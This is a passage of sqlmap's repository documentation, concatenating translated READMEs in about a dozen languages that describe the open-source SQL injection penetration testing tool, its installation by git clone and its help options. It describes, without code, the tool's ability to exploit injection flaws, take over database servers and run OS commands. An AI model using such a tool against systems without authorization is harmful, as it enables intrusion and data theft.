[qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master). La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. Utilizzo ---- Per una lista delle opzioni e dei controlli di base: python sqlmap.py -h Per una lista di tutte le opzioni e di tutti i controlli: python sqlmap.py -hh Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601). Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese). Link ---- * Sito: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-ja-JP.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 スクリーンショット ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。 [スクリーンショット集](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) インストール ---- 最新のtarballを [こちら](https://github.com/sqlmapproject/sqlmap/tarball/master) から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。 [Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 使用方法 ---- 基本的なオプションとスイッチの使用方法をリストで取得するには: python sqlmap.py -h 全てのオプションとスイッチの使用方法をリストで取得するには: python sqlmap.py -hh 実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。 sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用方法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。 リンク ---- * ホームページ: https://sqlmap.org * ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom * 課題管理: https://github.com/sqlmapproject/sqlmap/issues * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-ka-GE.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის. ეკრანის ანაბეჭდები ---- ![ეკრანის ანაბეჭდი](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) შეგიძლიათ ესტუმროთ [ეკრანის ანაბეჭდთა კოლექციას](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სადაც დემონსტრირებულია ინსტრუმენტის ზოგიერთი ფუნქცია. ინსტალაცია ---- თქვენ შეგიძლიათ უახლესი tar-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/tarball/master) დაწკაპუნებით, ან უახლესი zip-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/zipball/master) დაწკაპუნებით. ასევე შეგიძლიათ (და სასურველია) sqlmap-ის ჩამოტვირთვა [Git](https://github.com/sqlmapproject/sqlmap)-საცავის (repository) კლონირებით: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.7** და **3.x** ვერსიებთან. გამოყენება ---- ძირითადი ვარიანტებისა და პარამეტრების ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება: python sqlmap.py -h ვარიანტებისა და პარამეტრების სრული ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება: python sqlmap.py -hh გამოყენების მარტივი მაგალითი შეგიძლიათ იხილოთ [აქ](https://asciinema.org/a/46601). sqlmap-ის შესაძლებლობათა მიმოხილვის, მხარდაჭერილი ფუნქციონალისა და ყველა ვარიანტის აღწერების მისაღებად გამოყენების მაგალითებთან ერთად, გირჩევთ, იხილოთ [მომხმარებლის სახელმძღვანელო](https://github.com/sqlmapproject/sqlmap/wiki/Usage). ბმულები ---- * საწყისი გვერდი: https://sqlmap.org * ჩამოტვირთვა: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ან [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS არხი: https://github.com/sqlmapproject/sqlmap/commits/master.atom * პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues * მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-ko-KR.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. 스크린샷 ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) 또는, wiki에 나와있는 몇몇 기능을 보여주는 [스크린샷 모음](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 을 방문하실 수 있습니다. 설치 ---- [여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다. 가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap은 [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다. 사용법 ---- 기본 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요: python sqlmap.py -h 전체 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요: python sqlmap.py -hh [여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다. sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다. 링크 ---- * 홈페이지: https://sqlmap.org * 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki * 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * 트위터: [@sqlmap](https://x.com/sqlmap) * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-nl-NL.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een demonstratie van sommige functies in the wiki. Installatie ---- Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken. Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**. Gebruik ---- Om een lijst van basisopties en switches te krijgen gebruik: python sqlmap.py -h Om een lijst van alle opties en switches te krijgen gebruik: python sqlmap.py -hh Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden. Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle opties en switches, samen met voorbeelden, wordt u aangeraden de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen. Links ---- * Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues * Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-pl-PL.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. Zrzuty ekranu ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrującą na wiki niektóre możliwości. Instalacja ---- Najnowsze tarball archiwum jest dostępne po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej. Sposób użycia ---- Aby uzyskać listę podstawowych funkcji i parametrów użyj polecenia: python sqlmap.py -h Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia: python sqlmap.py -hh Przykładowy wynik działania można znaleźć [tutaj](https://asciinema.org/a/46601). Aby uzyskać listę wszystkich dostępnych funkcji, parametrów oraz opisów ich działania wraz z przykładami użycia sqlmap zalecamy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Odnośniki ---- * Strona projektu: https://sqlmap.org * Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-pt-BR.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. Imagens ---- ![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. Instalação ---- Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas. Como usar ---- Para obter uma lista das opções básicas faça: python sqlmap.py -h Para obter a lista completa de opções faça: python sqlmap.py -hh Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601). Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). Links ---- * Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-rs-RS.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza. Slike ---- ![Slika](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od e se demonstriraju neke od funkcija na wiki stranicama. Instalacija ---- Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master). Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. Korišćenje ---- Kako biste dobili listu osnovnih opcija i prekidača koristite: python sqlmap.py -h Kako biste dobili listu svih opcija i prekidača koristite: python sqlmap.py -hh Možete pronaći primer izvršavanja [ovde](https://asciinema.org/a/46601). Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidača, zajedno s primerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Linkovi ---- * Početna stranica: https://sqlmap.org * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-ru-RU.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. Скриншоты ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki. Установка ---- Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master). Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.7** и **3.x** на любой платформе. Использование ---- Чтобы получить список основных опций и вариантов выбора, используйте: python sqlmap.py -h Чтобы получить список всех опций и вариантов выбора, используйте: python sqlmap.py -hh Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601). Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Ссылки ---- * Основной сайт: https://sqlmap.org * Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues * Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-sk-SK.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení. Snímky obrazovky ---- ![snímka obrazovky](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Môžete navštíviť [zbierku snímok obrazovky](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), ktorá demonštruuje niektoré funkcie na wiki. Inštalácia ---- Najnovší tarball si môžete stiahnuť kliknutím [sem](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo najnovší zipball kliknutím [sem](https://github.com/sqlmapproject/sqlmap/zipball/master). Najlepšie je stiahnuť sqlmap naklonovaním [Git](https://github.com/sqlmapproject/sqlmap) repozitára: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme. Využitie ---- Na získanie zoznamu základných možností a prepínačov, použite: python sqlmap.py -h Na získanie zoznamu všetkých možností a prepínačov, použite: python sqlmap.py -hh Vzorku behu nájdete [tu](https://asciinema.org/a/46601). Ak chcete získať prehľad o možnostiach sqlmap, zoznam podporovaných funkcií a opis všetkých možností a prepínačov spolu s príkladmi, odporúčame vám nahliadnuť do [Používateľskej príručky](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Linky ---- * Domovská stránka: https://sqlmap.org * Stiahnutia: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Zdroje RSS Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues * Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-tr-TR.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra 